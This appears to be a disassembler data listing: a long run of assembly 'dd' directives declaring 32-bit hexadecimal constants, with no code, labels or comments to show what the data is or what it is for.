dd 282B17E7h, 52535B91h, 0A7C4A378h, 6E4FBDABh, 0A71F3459h
dd 607608C3h, 0D4BEC22Bh, 0AB29372Ch, 8346C1D1h, 21C7EF5Dh
dd 0C198F191h, 0D8212917h, 0AE2F3DABh, 975DD075h, 1673C683h
dd 3D3291EAh, 0D06CA148h, 0D9667F1Dh, 0D4CB41F2h, 0A4FEBED2h
dd 4E7A1F6Ah, 0B0C72568h, 9C0007E5h, 56EB6759h, 523C2D56h
dd 0BCDB129Ah, 3FE18776h, 1F3C1FA0h, 38C3037Fh, 0DDE7ADCFh
dd 434DD34Dh, 0C75293C0h, 4519C6A8h, 6588D9Bh, 0FCCA23EFh
dd 0B3A8806Ah, 6FDD2226h, 79054801h, 2764A271h, 0FDC2FE76h
dd 7572003Bh, 0BB20F634h, 1BF7B25Eh, 0CF0A3C51h, 0B39D1B8Bh
dd 0CF46DFBFh, 5BB36A36h, 903DAB5Dh, 6AA2A7DCh, 1CC2B3E2h
dd 0F5DBA66Bh, 44E7B090h, 0C3872581h, 3FA49A41h, 0F7733275h
dd 492E0083h, 52906Ch, 9948ED9Ch, 5CC77B09h, 6CAB57A1h
dd 5B3947B4h, 513E0BB6h, 3E684C60h, 42670B58h, 0B9372DA4h
dd 0C095C97Fh, 6FD70F52h, 3FA85336h, 0DB1DA736h, 0F2D59D58h
dd 4006867Ch, 7924B941h, 1A6AC792h, 0D1ECD8FDh, 0B219EB79h
dd 0EB67CB7h, 2EFA11FEh, 537878FAh, 5466AA43h, 7ACEF980h
dd 0DB353DB1h, 81B26EE0h, 0BF2DC007h, 11E62420h, 0B1C815B9h
dd 0ECEA99Bh, 0FF4CDAC4h, 923185E0h, 3E191010h, 982E84B5h
dd 0FEEEA88Ch, 0B1BCF156h, 4A1820EAh, 0DF5DBF0Dh, 0B2287237h
dd 919F4FC5h, 288845BFh, 0E01D1D61h, 0B4061AEh, 84CAFE23h
dd 0F09D3387h, 0EF02D89Ah, 0C4B4EE1Bh, 1BB2DA3Fh, 31D302D1h
dd 0AAE76005h, 0B952ABD1h, 7066C048h, 0E547716Bh, 0A5B12E92h
dd 625047B1h, 3520B94Dh, 4B99E5Dh, 74EFF012h, 53223B9Bh
dd 190D5DDh, 4DA89CDCh, 3A837C50h, 18ABFF06h, 0D0306EBEh
dd 0FE587B27h, 0C1C1775h, 6C1419FDh, 215306E1h, 905972E3h
dd 22F70FF4h, 8CA4706Fh, 2D0C5D50h, 37286C53h, 0FE04FC44h
dd 0ED7E6496h, 7CD9889Dh, 0EC9BAFA0h, 0A19DE2C0h, 8CE9188Fh
dd 65AFDB9Bh, 1171C329h, 47735490h, 1C4DB3E5h, 0C6C3468Fh
dd 1F16FCC8h, 0BEA8BF9Fh, 1FEF9183h, 0CE008AADh, 0E722642Ah
dd 0F162E5E5h, 4425A37Dh, 2C449A5Fh, 32EF3201h, 6A269000h
dd 24922E5h, 0D816662h, 0B6E7C244h, 0B4C361Dh, 0A1C34229h
dd 111BDC61h, 9B374709h, 89A33831h, 73360368h, 19FA6998h
dd 4CECADC7h, 75449C01h, 581623C1h, 230DA028h, 1EEFB802h
dd 29302748h, 0DF0CC275h, 0B8B4B0B6h, 5FD74071h, 62BDD8FAh
dd 7F2AAF7Ch, 0B661E657h, 0ACA18003h, 445C95DFh, 0E5EFE7B6h
dd 0B8A1F8AAh, 53B1BA65h, 806DEDB9h, 0F7F160FDh, 0BF3BAF4Eh
dd 953E7782h, 26E4FF1h, 5A3AC906h, 5A91E7Ah, 0CEA2732Ah
dd 897A8CAEh, 0EC8C5376h, 0EC774BE7h, 3A606D6Dh, 18EB0AB2h
dd 0AAC34AA7h, 0C9DD790Ch, 64CEBB4h, 0C8A8C87Ah, 9C022920h
dd 0C38C3D3Ah, 0EF66681Fh, 0BEC3196Eh, 42E63B73h, 0E909622Fh
dd 44B7E58Fh, 5C165A8h, 18D18978h, 7668C3A9h, 90CE0580h
dd 0B0A385DFh, 0ACD7F522h, 0F4F478D0h, 4F392F7Eh, 90C913A0h
dd 1F310D3h, 0B4695C6Fh, 1B9CF918h, 0DD1A9D11h, 12614D7h
dd 279A0DDBh, 3A19EE60h, 1DB1215Ch, 1E4BF1Dh, 93EE232h
dd 92B0484Ah, 6D68878Bh, 865F95BBh, 92D9AC99h, 27FAE5F1h
dd 0DB484E74h, 491D57C9h, 2CC13F37h, 10C67D8Fh, 0A1C97CD2h
dd 2E676BDFh, 0F8721F8Eh, 0BD2A0D0Eh, 710749B2h, 0C7EA5E70h
dd 0FC070EA4h, 0EF7D2617h, 4B620BA4h, 0C27328B2h, 3843F4F9h
dd 0C2EA003Ah, 74824D9h, 0DBFA007Ch, 0B3C8EC0Eh, 3CF14649h
dd 7AE1F17Ah, 48BEDAD3h, 6EA404EEh, 0E3BDE464h, 22ADC08Ch
dd 8414267Bh, 0DB22CA47h, 688FB96h, 0EB1E39CCh, 116E88D2h
dd 1EBDA8A8h, 0D5FF973Ah, 0CD05EE63h, 48B272E6h, 76C39D2Ah
dd 0F95E9D60h, 1F7CBCBBh, 0B3B76CFFh, 0EBE2135Ah, 0C51F9549h
dd 62758994h, 5E59DFB6h, 0A5BD52A5h, 0BCE18F55h, 2FAF4C1Fh
dd 5E0A4539h, 185505C9h, 1E934AE1h, 0BAE0861Eh, 18657C06h
dd 5F7B6333h, 4663AF44h, 25B9AE7Eh, 89F1EA3Bh, 0A3FB3912h
dd 5714ADB5h, 60044A46h, 77151828h, 4E9B008Ch, 0FE492142h
dd 0D2EBB2E4h, 0B22E917Bh, 0A108A44Eh, 2E81409h, 9DB28B1Ah
dd 6AA10BEAh, 50CAFC46h, 9DCDF41Bh, 0AE82CB07h, 0D9767D32h
dd 2A9A0F00h, 8C7409A2h, 3F2FDBAEh, 4413C8EEh, 8DAE6733h
dd 5E91E2D8h, 0ADF973F2h, 62E24D99h, 8A8FA62Ah, 0A15478CAh
dd 0AEB327D4h, 0B7A7A820h, 5DD7502Ch, 127B31E7h, 0FAC46450h
dd 5A6AE3A5h, 16F37669h, 0E343C673h, 0AC9DBA1Eh, 0BAEE4C05h
dd 0E81A4F2Fh, 0E4D07AFh, 9805C7C2h, 2A5BAC6Bh, 8C97A51Bh
dd 0BFEA216Ah, 6953E4EAh, 1713907Fh, 3A18007Bh, 9B4F14E8h
dd 0B92FF1B9h, 0BB937039h, 7F71B0D0h, 2EB1B6BDh, 640C3F5Fh
dd 8F9637B5h, 60A68F32h, 0A3BF5C46h, 0C87AF801h, 0FD549B6Ah
dd 94B109Eh, 0DC761A2Fh, 0DB936689h, 4647F7EFh, 0CA22BCE1h
dd 0B43E6D90h, 0C7077ACEh, 139ACCCAh, 0F8A0F2Ah, 0EAD9F2BCh
dd 8D11B70Ah, 2721BA30h, 1D7C8727h, 936F8C15h, 0C8A5335Ah
dd 895BAD7Ch, 41DC9A60h, 0F69CDF42h, 0E381CF54h, 0CECDE48Ch
dd 87C366FDh, 0BA8B8E8Ah, 3DC9D9B0h, 99585FFFh, 0A38DE85h
dd 6F033C1Dh, 188EC286h, 70923185h, 60493E46h, 0AD0F3D29h
dd 0E0E905E0h, 0C3CE8D81h, 0A0A28A2Bh, 0A02E9AEDh, 2255DBh
dd 0ACE0290h, 9B3D95C3h, 0AD6B0AD1h, 8C6D24E8h, 0AB6C2B94h
dd 74C46DA3h, 7488DCE8h, 49894CC4h, 0F44A8CF5h, 0FF2DDD54h
dd 0C0EA66F7h, 0D257E8BEh, 0FC777556h, 375E8E6Fh, 0FEE3BFD8h
dd 0CBF61A25h, 19161715h, 36D012E9h, 7C6D9961h, 0A83F4C0Ch
dd 6D32C149h, 2DA9F8B4h, 0D9D16D5Dh, 0E0B578CCh, 0E789ECC2h
dd 0CE0A6A38h, 5029B48Eh, 0E42DC411h, 71169B6Ah, 0F7DAB4F6h
dd 0C2ECF8FAh, 1FCD706Fh, 373228B1h, 0BB51B80Bh, 81881791h
dd 6D20B39Bh, 0CE60AC8Fh
dd 42D4EB94h, 0A2F1D07h, 8BB09FA4h, 12D66A37h, 47666B4Fh
dd 658EE91Dh, 0F543B095h, 3C306A4Ah, 0DD124CBCh, 0FEE8BB32h
dd 97CF3B6Ah, 44F5483Eh, 0D5D87BCFh, 58CE19E4h, 0F274EE80h
dd 52069125h, 0B1E4FA48h, 622E5B45h, 2DC1223Fh, 0C39F11CEh
dd 498A5398h, 42075702h, 40DE10A4h, 62DFED1Ch, 32F2978Ch
dd 0BBF4D6EFh, 0BB8428Fh, 8922D1F8h, 6FEE6E76h, 0D4F5996Dh
dd 8A0EFDABh, 0C9031A21h, 7C518E8Bh, 0C22A3EDBh, 708CAB19h
dd 0E466B052h, 0EDEE4C98h, 0A4C6279Dh, 0FB4E4C64h, 0E0718FEEh
dd 2B25E761h, 5ABDCB1Ch, 77B2CDBFh, 733B24E9h, 7C1B5C8Ah
dd 9EFC1091h, 0A4115EC7h, 6D82258Ah, 0B391446Dh, 8D797CECh
dd 24DC624Eh, 3F34ACF9h, 0A1930DBFh, 0DA7F5A8Fh, 0CD046E88h
dd 0EAB2AF35h, 660AD1Fh, 1F132DEAh, 0B4CF1493h, 7CE210BEh
dd 201FD5E3h, 300388B0h, 0A190C514h, 0E55CF59Fh, 0EE7D578Fh
dd 9787353Ch, 825180DCh, 0A3BFBD6Fh, 79E70611h, 0EE4E6CD4h
dd 0AF51C303h, 0BC1DBD9Ah, 6E9A08A1h, 2E6FA1C9h, 6DF73D97h
dd 0FB3ADB2Ah, 2E2E994Fh, 0D46C6475h, 27063D59h, 2CDE934Fh
dd 713A776Dh, 70FD8931h, 0F94B2C2Dh, 0FF0E7D73h, 7F303F7Eh
dd 807F35CAh, 437064Fh, 38A99693h, 40E6FEC9h, 8CC9B15Dh
dd 4EFE301h, 0A6510E0Ch, 1C4D1DA6h, 1ED57CA4h, 7BCA8FA4h
dd 418B0574h, 0E329D29Bh, 917DC48Bh, 62AECEF9h, 7B79A9FBh
dd 0FAE43678h, 18103F09h, 462DD429h, 4DE6C8CAh, 0C3FDE6F7h
dd 0AF4CB348h, 0E8B26183h, 624B5B2Ah, 9333F37Ch, 45E585A9h
dd 0F0C089C9h, 0EAD2B960h, 0CDD3C808h, 2C84F07Ah, 195EA9ECh
dd 0AD016B5Bh, 1575F4D0h, 7B5AA6F1h, 0FFB8DD04h, 0BCE80726h
dd 1EEE234Dh, 4FFC1C1Ah, 0DC7693E8h, 72319ACFh, 59F1095Fh
dd 0FA9A1BCAh, 9224AB5h, 0F7BD1D13h, 2381AB5Fh, 8296AB77h
dd 0F7E79EADh, 3B6920BCh, 901628ACh, 0B9DD1C33h, 63C0DEEh
dd 0C8DB5ACDh, 97299596h, 269870AFh, 647A8496h, 90E8AC95h
dd 98BF8E43h, 33B2B63Bh, 0BC1503DEh, 19583EFh, 0BB2AD380h
dd 63C9D549h, 74911483h, 97D47FF5h, 110E8398h, 863C098Eh
dd 7670E22Bh, 0D2669250h, 9CD7DBEDh, 8A3992F9h, 0BBB33AA0h
dd 73939C26h, 5BEF83ABh, 0E2C48338h, 0DC32D5FCh, 19CD751Fh
dd 95969AADh, 5944FFC6h, 8C0A5F1Fh, 96285ADDh, 0BB7CC7ECh
dd 0CB8C124Dh, 0CE2B050Ch, 0E8042C99h, 57FA19B0h, 0A1007D8Ch
dd 44E36586h, 4D9847B3h, 3B4FD023h, 86354316h, 0AF611534h
dd 4E730114h, 0AB62571Eh, 0BAEAB25Eh, 9A196CF9h, 7EC960DBh
dd 8887E8Ch, 0BB0946CAh, 2E0B53B5h, 6553D733h, 5C4DFBB7h
dd 5B4EE09Dh, 0FD133E20h, 43BF99D5h, 0D7E0DD86h, 85AEB714h
dd 2A6B7016h, 0C708B26Bh, 75BC9B19h, 3A00A062h, 0A085B0A3h
dd 4543A94Ch, 0A2BDB03Bh, 53282C15h, 0A19998D1h, 0DEEA5896h
dd 7ED0200Dh, 0D1850CAEh, 0A94CD75Fh, 285AE3D4h, 0EAAE0C90h
dd 23EF50E8h, 0EFB7A605h, 0B692BB41h, 2BD042B0h, 63B8699Eh
dd 5ADD6C6Ch, 44378EBBh, 2EC7F48Dh, 61A5253Eh, 9E8A5A30h
dd 0D7327DFAh, 0DDDA4D5h, 0BFBDF570h, 0D0C6D7B9h, 0AF4A5915h
dd 0FBBDEA14h, 8B94B293h, 3141AF66h, 50DF1D04h, 13489031h
dd 801F1A7Bh, 1A1C4582h, 9E508FAAh, 0EC577022h, 65FB5C9Fh
dd 2CA567FDh, 6A0C5116h, 256E61B1h, 335D9F0Bh, 61F0C8E3h
dd 27E19CABh, 0EDDE9995h, 16CE2B3Bh, 2EBD4C4Eh, 21B00DAh
dd 56220A40h, 71AFD6A6h, 0DE787008h, 686D4F54h, 96F360Fh
dd 0D18344ABh, 5255B75Eh, 8F4DA88h, 0B5570C19h, 0F6BE9AF1h
dd 276BC40Dh, 22503401h, 40B59646h, 931A38Eh, 0D0293F6Fh
dd 1F3F4C8Fh, 78DCE33Ah, 0DABA808Bh, 0EB34C44Ah, 678E517h
dd 2852129Ch, 22C09BA7h, 4CDB0ECCh, 0FECC8AD9h, 9BA44C84h
dd 0EA1D31C8h, 12DEA987h, 3A26B2FDh, 8878D01Ah, 0F509B859h
dd 5D71FEh, 461C34DDh, 0BE935D00h, 68B4A9A7h, 5A4B6442h
dd 20454F50h, 1ED6B5B8h, 0E52ACDB2h, 0D4951C27h, 9B979156h
dd 0C603D35h, 5D051665h, 0B6E27F0Dh, 0AE543ECDh, 9EDC7F0h
dd 0C58FE250h, 4A7BDABh, 4BAFD5F1h, 7B77BA9Dh, 90BA5422h
dd 53CF0342h, 9674DC6Eh, 23F410ACh, 21877E16h, 3A296036h
dd 18EB7925h, 9A4A73BDh, 6DB5B0B8h, 2BD7BC26h, 6771913Bh
dd 5305C44Ch, 46BB7BD5h, 0C0C2457Ch, 0A7A013C9h, 0AD70488Bh
dd 0B8D4DD31h, 0FA0F93B1h, 9E19F80Ah, 543B8D4Ch, 33A25A51h
dd 0FBE569CFh, 23800370h, 5955FA9Ah, 96C8D7CEh, 2F5E198h
dd 9EF3FBF0h, 0E91A504Ch, 7690DE87h, 654A4D29h, 1B695496h
dd 0ABFC2B01h, 5F35E182h, 19FFEF5Dh, 3C99C245h, 478D0A0Fh
dd 4E19FC1Eh, 0EA1F5D01h, 0A3974B00h, 0D425AC9Bh, 6F10D3F4h
dd 88431CC5h, 0BFAB277Fh, 0C8378A3Fh, 0D9130A93h, 0A9CD0577h
dd 0ABC316E2h, 48348471h, 74BAC368h, 0A97264D6h, 1D640B8Ch
dd 55484541h, 35C99F3Dh, 0E622A704h, 0A8CB8797h, 61F943B9h
dd 241E15B4h, 554DB183h, 152E6F03h, 48E892D7h, 4FE5C2D2h
dd 87CDB4A6h, 903207ACh, 0B69F2C77h, 0C4302D08h, 7EFF8693h
dd 0F00E6D37h, 0A75BB149h, 0F81A9E3h, 0A6DE8DFCh, 0BFDDE63Ch
dd 0BE4DDB87h, 0C938800Dh, 0DB8C690Eh, 3C35F864h, 0EE0093D4h
dd 9EC78DBBh, 0E6D22629h, 0FB8BAAECh, 0CD4C2B40h, 218EC171h
dd 0E3A8B1D1h, 0D2C556BCh, 59A7C4C9h, 7B1AE079h, 0E7CED29h
dd 0B92CD3Ch, 60BA8B14h, 71B99993h, 0C68306E3h, 82CF85CDh
dd 0ABFDE9DCh, 0BD128BB9h, 0DC4AEC5h, 323BE176h, 5A128698h
dd 6ACEC721h, 0A06CD1BFh, 33121290h, 0FD701AF3h, 8FB3389h
dd 0C16121BFh, 0BD5501FDh, 59F2E2CBh, 0F53924BCh, 6E6561B3h
dd 8DD4F798h, 0FAFAF600h, 0C5247B36h, 0BB459BFDh, 9BD5F875h
dd 0FB3347AFh, 4310AA6Ch, 7A575FEDh, 9BF41C02h, 0F7DC6BC5h
dd 8AE80354h, 44318284h, 6CF82D91h, 6E12A93Dh, 0DC7DF2BEh
dd 0EE5FFFCFh, 61E628A3h, 4370D234h, 497C2350h, 757B11ECh
dd 0EB87749Ah, 64BA2163h, 279179EFh, 0B8589A68h, 0FB8BDABBh
dd 8D66BDB4h, 0EC20A928h, 7473A94h, 0CF29FB21h, 2902522Ah
dd 3149D9E9h, 0A5E60953h, 24D12621h, 75F2C6ACh, 80293698h
dd 8FC883Fh, 8C558EE1h, 99CB0430h, 9E610928h, 0D3184DB5h
dd 8040714Fh, 0D0F50F3Eh, 57352D3Dh, 2A995D07h, 3593F448h
dd 1B7F9F86h, 3B09EB2Fh, 90FD544h, 0F30D4B3Bh, 0F6B37CCh
dd 99D66753h, 0CA4A687Eh, 69C00A3Fh, 12F440F2h, 285E6B74h
dd 6F64D2C9h, 0CF045006h, 40D529Eh, 5B975CADh, 407760C8h
dd 39933C4Ah, 0F5630005h, 4961F568h, 6696DEE3h, 0A57B7FE0h
dd 5780AE41h, 0D41C6D14h, 1D5B7B73h, 0DDB5187Fh, 6F611EA0h
dd 70ECBB04h, 5B96419Bh, 979219Dh, 8650DFAAh, 0C3C92888h
dd 1BBCBD8Ch, 93AE43B4h, 0F20A01A3h, 0ECA7F963h, 2BB877DBh
dd 0D2455C2Eh, 0E421231Ch, 344CADB7h, 0C0FC705Fh, 832C9ADCh
dd 40BDD995h, 177771A6h, 0A9B3BD09h, 63781532h, 0F64A7DD0h
dd 0D6E3734h, 0ACBF7E9Fh, 8AEA5DFDh, 0AC497B29h, 0E87CEF14h
dd 6690D1CAh, 551051E9h, 16AB37E4h, 0DFE0FCF4h, 0E3AD6176h
dd 0BE109D9Ch, 9A51D5E7h, 7229BA08h, 0F01D2DE5h, 8971DB8h
dd 0CF36B3E4h, 0D204187Dh, 3D3DBA0Fh, 0A842059h, 0BEDBF0D4h
dd 939B332Ch, 9722B275h, 755FE190h, 5964B1A8h, 4CB7208Bh
dd 8F33E250h, 0C3BD828h
dd 525BC3F6h, 2029BC53h, 5568E5B9h, 0E29BF4D9h, 0B96801A4h
dd 1BABE700h, 0EC53A7ECh, 5E9F6333h, 1D58C93Ch, 9A070C49h
dd 0A35C3946h, 399C422h, 0A96B8A6Fh, 9C9F180h, 4DB2EED8h
dd 46732E6Ch, 0A5562C1Ah, 7BFB3FDDh, 9C257A89h, 0E31645D1h
dd 0E2F64906h, 54166AA2h, 520E2B25h, 6550D9FAh, 0D022AFE0h
dd 0C863BB68h, 4112988Eh, 0EC176A76h, 0DACC9577h, 3FB0DDFEh
dd 0F227DAE8h, 0F3C21732h, 0E44CE28Ah, 0ABD295FFh, 0C9D212Eh
dd 37A99CE8h, 7E644156h, 0AE07969h, 97ECDB79h, 51A487FAh
dd 8FD00394h, 0C02157Fh, 0D99AE173h, 0E7222CA8h, 660300B9h
dd 0CBD1DB46h, 0ACCC2150h, 8909AF1Eh, 0A04D9580h, 0F29ABFB3h
dd 0EE3F1CA9h, 47EB4882h, 0C50304CEh, 5220CC9Eh, 0F6352A2Ah
dd 660EEDA1h, 56CFB1B0h, 72B4CA92h, 838C02E2h, 4A75DFFAh
dd 0FA29CF71h, 4B7B78EEh, 430DAD3Eh, 0B53E8006h, 62F90E5h
dd 6D27EFCCh, 474AA560h, 0C229365Ch, 0A3827004h, 184CFF2Ch
dd 69026035h, 0DD4A6EDFh, 64B16B26h, 0D3C133CBh, 14231EAEh
dd 96C65E31h, 2489A13h, 0D111C6DCh, 45ADD747h, 0E40CDCA6h
dd 0DA17CA62h, 0ED545314h, 0F24AA6BAh, 0B82617E4h, 0E40DB33Ch
dd 9D7EFFC4h, 0B88A56C6h, 80E0704Bh, 0AA19B3F2h, 0D74D5504h
dd 936B599Ah, 463B3E60h, 19A01960h, 1461BA58h, 8311625Eh
dd 0F3A4F4FDh, 533A57B3h, 0FB5BA950h, 8129D1D5h, 958EF8D6h
dd 497D6C89h, 69941941h, 0F736ADA7h, 63A02A87h, 8FD93CC2h
dd 0E2AA81DEh, 255CFC9Dh, 0ED8B7F8Fh, 0D7074384h, 0A0FA1AF3h
dd 291D292Ah, 0C1BEA135h, 0BB229D9Fh, 0FF035AEh, 8AC9CEB9h
dd 0D0710E6Fh, 44B38EF0h, 0DAAA74C2h, 0C29B75F0h, 8803D9C7h
dd 247CC49h, 218538EDh, 4E85B375h, 51283861h, 0E21B76B9h
dd 2B8A91E5h, 8F0C3637h, 0EB8B2072h, 6F7FF937h, 0E0B11F45h
dd 0DEC6B339h, 3055D44Bh, 0A4622580h, 5043278Eh, 0CC29633Bh
dd 0F31A0D3Eh, 89AB2E63h, 7AFF414h, 0D8C9F4DDh, 7A166391h
dd 76A3FF6Dh, 0DE46C38Ah, 9D061921h, 7FF52F44h, 0BC1ACF60h
dd 0D612EDDh, 227E1710h, 98E82550h, 0D84F789Dh, 874C4F7Bh
dd 20A4BDA6h, 0A3DE9C98h, 23953647h, 6BB6CD2Dh, 9A94DCF3h
dd 4C38C4C5h, 9AED7A55h, 0AD35E2BBh, 4CD78A44h, 3863F271h
dd 0D1FB0169h, 4CCCF479h, 8018FDD3h, 0CC266B6Fh, 4FFDF357h
dd 46602667h, 8E35629Ah, 7A94A83h, 380EE777h, 0BDA70BD7h
dd 225F0485h, 0B4ACF394h, 0AC4B0EA6h, 0AFE53AA1h, 0AEA8C626h
dd 0F31B3ABh, 0DA880A40h, 0F00971EFh, 881A5C40h, 536CC2F9h
dd 739467A0h, 69F9C1C2h, 54CFA568h, 0C945538Fh, 9B305678h
dd 0F0D7D0D9h, 0F5A3453Dh, 776A5DA2h, 0FB0650B6h, 0D7E9CAF8h
dd 0B122BF9Ah, 0C9C349F4h, 716487F8h, 265A751Dh, 6F7221FCh
dd 0F9BCCD3Fh, 6845B70h, 24C84CDEh, 4B92DE54h, 0B45CA2D5h
dd 72FFF59Fh, 0A632513Ch, 35336A72h, 0A4CB25A7h, 983DF537h
dd 0EA29AE58h, 4B841CF7h, 0DB84E6A5h, 0E4BA95Ah, 17958E90h
dd 85872DC6h, 9EE0A710h, 0E2012F7Eh, 0C5DC6CCh, 0AEDA6932h
dd 7A7D739h, 5B89F759h, 0B682FC68h, 0F0FB6227h, 807C7239h
dd 67A45890h, 0E2ED311Dh, 6D60DE20h, 50E334D6h, 82BB086Dh
dd 18A43AE7h, 0DF140E34h, 589F990Bh, 33F80F24h, 92AF748Ah
dd 36EAF902h, 54A98E16h, 0D09701E0h, 6E12B1Fh, 0F47BF543h
dd 29B949DFh, 0D590D153h, 0E2FB54A2h, 7CE1B8C9h, 9F22A6CEh
dd 4AF23BDBh, 96AD2A8Eh, 49C3D59Fh, 474C07C5h, 0AFE943B6h
dd 0A76BAF12h, 3A1E7C7Ah, 2E2A4440h, 1AC0CC97h, 95389995h
dd 47CD89DCh, 0DEDFFD8Fh, 6F09D3CAh, 0D561883Dh, 0CCA47871h
dd 6057A081h, 0EF786895h, 1C3E9273h, 65676C48h, 0F565417Fh
dd 650E1BFFh, 8053357h, 63879CF2h, 3A270916h, 0CCC7EE67h
dd 0C8E09C2Dh, 3BABF52h, 451D8D6Fh, 0EB63EDC4h, 166F39ADh
dd 0CA749B4Eh, 6A794119h, 8167C507h, 0D60DF0A8h, 70BA7D4h
dd 60D062EBh, 5BBF6503h, 0ECEC0D7Fh, 0CE37FA25h, 7B78AD7Ch
dd 0D694E6E2h, 91496996h, 0D224E360h, 5A06BA6Ah, 40DDAA54h
dd 0B557CC58h, 5971AF17h, 0CADF0AB9h, 62703E8Ch, 7FDEE96Fh
dd 54EC42BEh, 612DCD07h, 47E02629h, 0C00C9C23h, 84860D9Ah
dd 30B99989h, 94161C16h, 7D83E3F2h, 939B997Eh, 0A4FC8CFFh
dd 345E94FDh, 0F4A47076h, 0BA186F5Ch, 0C0FA380Ah, 36E0E4C1h
dd 67F76E74h, 81B96248h, 0F462D575h, 0ADC55D3Bh, 82F50E7Fh
dd 1D261759h, 0D36585ACh, 0FC8D095Fh, 516C977Ah, 0BEBF93E1h
dd 0DCCA5F2Ch, 0F4C5D6F7h, 0CB32A5C3h, 0CF5CC05Fh, 0CE07AC50h
dd 1ACEB5B3h, 2BB26B72h, 37C065C7h, 64A90B73h, 0E185E40Fh
dd 62AC1440h, 806879E6h, 9B12A43Fh, 0D525947Ch, 0B395AA74h
dd 0FA7CB50h, 0B86C278Fh, 0F539B825h, 2E1F8D7Ah, 0D4A9C523h
dd 9451DD94h, 49138C65h, 337522B2h, 0CA449804h, 3EED9C3Bh
dd 0E12D504Eh, 163ADB75h, 5DE7C6BCh, 3977CA61h, 0A62FA838h
dd 5B7845Ch, 9A8D02h, 0A7D08110h, 0F577086Dh, 3A9846B7h
dd 0A503B587h, 0BE3EAB36h, 79963967h, 0E22CA043h, 6809C7A2h
dd 183A4C03h, 0CC63A570h, 0F22ADB99h, 0FE799FE8h, 8FAA1C7Fh
dd 12C8C703h, 26B7AFBDh, 0CFB30887h, 0E250D649h, 0C1267383h
dd 0DE1F8118h, 5C6ADB62h, 0AB329E26h, 757B7C89h, 0D62E48AEh
dd 4C8E8393h, 90F50F32h, 0AE6E403Eh, 564A0C90h, 0E39B2BF6h
dd 68E41407h, 136AB3A3h, 7B9A2033h, 0DFFC8227h, 0B80C9086h
dd 0A1E17C0Fh, 329FAD1Bh, 0C8C1F24Dh, 0D0BE651Dh, 199F2AFDh
dd 708A248Fh, 535B9425h, 6F42B3D0h, 674A5752h, 82BB00A2h
dd 5E17453h, 0EFBF6C54h, 14C1D282h, 0A7DA134Fh, 23B6300Ah
dd 81E122B0h, 0F9CDF096h, 0E7355573h, 0D063D88h, 74F6264Bh
dd 0F6A296C0h, 5C96872Ch, 0B6988B81h, 0CF31721Fh, 0F99A0C42h
dd 0C34A0FAFh, 63D14643h, 99263935h, 352DBB10h, 2178D6ACh
dd 144991Ah, 2A5EAB51h, 0FD89B606h, 0BC3FD386h, 8F2EB1A5h
dd 68B7E330h, 0A0814EE4h, 0D12C1276h, 33FEFFBh, 1D09EC1h
dd 0CD4FF7A4h, 0ADAA52A3h, 2DAA0E85h, 6EAF961h, 0D4B39ED2h
dd 17E8194Bh, 76454AC0h, 7FC2ED88h, 1A678599h, 76700109h
dd 0B8C1BD55h, 93AB6DE5h, 297DD9C2h, 0E4178A19h, 4A9C9260h
dd 8AA80A0Dh, 44F4D3D9h, 0FEAA2A0Bh, 0A77FF70Fh, 0D68679D8h
dd 8A07A92Ah, 59E86F4Fh, 7751BB35h, 0A18FCCC8h, 8C8E1F41h
dd 0FA846902h, 0AEE5B734h, 2227C053h, 806DBA4Ah, 570B095Fh
dd 46EE8208h, 4A16F04Dh, 36652EEFh, 539BC470h, 0BE65CC08h
dd 0E4EC6A85h, 3771B80Bh, 884F88CBh, 2373FF1h, 0E63FED60h
dd 930790E2h, 0E1A0E26Eh, 70F0C1E5h, 304D4AECh, 0A4D2FB0h
dd 65888D00h, 1354F762h, 0A808C304h, 37FF432Bh, 1EFFD92Ch
dd 2ACFF29Bh, 30C6CA6Dh, 1C6B99ABh, 0B56EC490h, 0AC87CBD4h
dd 0B18CFB08h, 73DF66E2h, 9F954F45h, 17E952F8h, 0D716442Dh
dd 82477AE7h, 895C0FFDh, 75C69B62h, 2460EE1Ch, 442CD081h
dd 2EE4DD9Eh, 0C101D37Bh, 0B90E47DEh, 72CE6F21h, 963200B8h
dd 555646FEh, 8111231h, 398C8B92h, 0C365B3A0h, 64AD4BBCh
dd 0EBA6E0B0h, 0E12EFE55h, 66C572B4h, 413D1Dh, 0CCF9E1F3h
dd 8E636229h, 4252D65Ch, 75AC0BA3h, 8B92132Fh, 587C4CB1h
dd 0D8238B46h, 5D933694h, 3A93E9B0h, 0FE3DEEACh, 0C0B2CDABh
dd 0B79DAAF9h, 641C65AAh
dd 0AAB69248h, 98F5FBF1h, 0AB24105Dh, 0FD7A19F9h, 933B45D7h
dd 5BBEC946h, 0B3DBDDCAh, 0AEF9D218h, 6A772EC6h, 1D4830E1h
dd 3534819Dh, 6CDFB589h, 98B73D0Dh, 4A3B5925h, 185057F9h
dd 0D94BED5Fh, 652E420h, 4D52D130h, 0EEA09068h, 0D98898E4h
dd 839B20F7h, 9951D601h, 69E84704h, 0B5E50ECFh, 7BFAD85Ah
dd 4D4CBCDFh, 9DC0EBD2h, 0CF235B2h, 0F68A058Ch, 34AB29E0h
dd 51ED27FFh, 0B5DC9DCh, 7581B80h, 32E38953h, 59D27DDFh
dd 5D8C5003h, 851C929Ah, 16E5C26Fh, 0C8C627E3h, 7F1CFD71h
dd 0CF4C7AE0h, 0B9F27123h, 13BC53BEh, 0BAB827D1h, 31F97943h
dd 4C1FDC0Fh, 7B2AB441h, 0C10E15ADh, 0F0D156F6h, 3F72FF90h
dd 7592204Bh, 3645828Bh, 3AC1699h, 0E296B1A9h, 1CDA4C14h
dd 0A25465D7h, 22E9545Ah, 54CC26B2h, 562362DCh, 0E4A32D62h
dd 9D9A000Dh, 1C32CD5h, 0A78286C0h, 515128D5h, 0A49DF60Ah
dd 75763BA3h, 0DFA92828h, 631D3E1Dh, 0E13199C7h, 18F23F7Fh
dd 6FB27FF6h, 8DF36245h, 0BB6ECFE5h, 0FD9FBEB8h, 5DDEE906h
dd 0BF25C13Dh, 6766AF29h, 8606C2A3h, 0F543137Eh, 0ABDBCD9Ch
dd 0AD9D2224h, 0F024C497h, 6528E1A3h, 0B1CD3C3Ah, 142956D3h
dd 0AEE4E076h, 2EEA1064h, 0D2A31EC7h, 5ECD3ADDh, 0A54B77F4h
dd 0B6ED36C1h, 9E39E1A4h, 30063021h, 8CF3A8B6h, 0F304155Dh
dd 3A36C1D6h, 4ADF6773h, 0CE5D78DBh, 736B0EB0h, 19B52023h
dd 40B230A7h, 711E90CFh, 0E69E0002h, 61A1A1Ch, 0C1704D3Ch
dd 9D69F951h, 0DF1335CCh, 4539C105h, 0C01B1484h, 64719030h
